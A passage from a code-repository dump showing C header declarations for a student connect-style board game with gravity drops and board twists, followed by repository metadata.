void print_outcome(outcome o);
/* change_turn: changes the turn within the given game struct */
turn change_turn(game* g);
/* play_game: executes an entire game from start to finish given a
* new game */
void play_game(game* g);
#endif /* PLAY_H */<file_sep>/include/logic.h
/* <NAME>, lilyehsani
* CS 152, Winter 2020
* Project 2
*/
#ifndef LOGIC_H
#define LOGIC_H
#include "board.h"
enum turn {
BLACK_NEXT,
WHITE_NEXT
};
typedef enum turn turn;
enum outcome {
BLACK_WIN,
WHITE_WIN,
DRAW,
IN_PROGRESS
};
typedef enum outcome outcome;
enum direction {
CW, CCW
};
typedef enum direction direction;
struct game {
unsigned int run;
board* b;
turn next;
};
typedef struct game game;
/* new_game: outputs a pointer to a game with an empty board of the given
* dimensions of the given type, with the given run parameter */
game* new_game(unsigned int run, unsigned int width, unsigned int height,
enum type type);
/* game_free: frees the board within a game pointer and the game pointer */
void game_free(game* g);
/* drop_piece: following the laws of gravity, drops a piece of whichever
* turn it is in the game in the given column */
int drop_piece(game* g, unsigned int col);
/* twist: rotates the board in the given game in the given direction */
void twist(game* g, direction d);
/* the following are helper functions for game_outcome. I moved them to this
* file because I test them in my evidence file. full documentation can be
* found in logic.c */
int board_full(game* g);
int vertical(game* g, cell p);
int horizontal(game* g, cell p);
int diagonal_pos(game* g, cell p);
int diagonal_neg(game* g, cell p);
/* game_outcome: outputs the correct output of the given game if it is
* finished, outputs in progress if not */
outcome game_outcome(game* g);
#endif /* LOGIC_H */
|
c41c1b984c4febca668422420b78af03c124c478
|
[
"Makefile",
"Markdown",
"C"
] | 10 |
Makefile
|
lilyehsani/downturn
|
87cdb0b6355e2a0abcade41f998f08efa8dfba7a
|
166edf652567e0d92a9ea11dc952289c5376d942
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.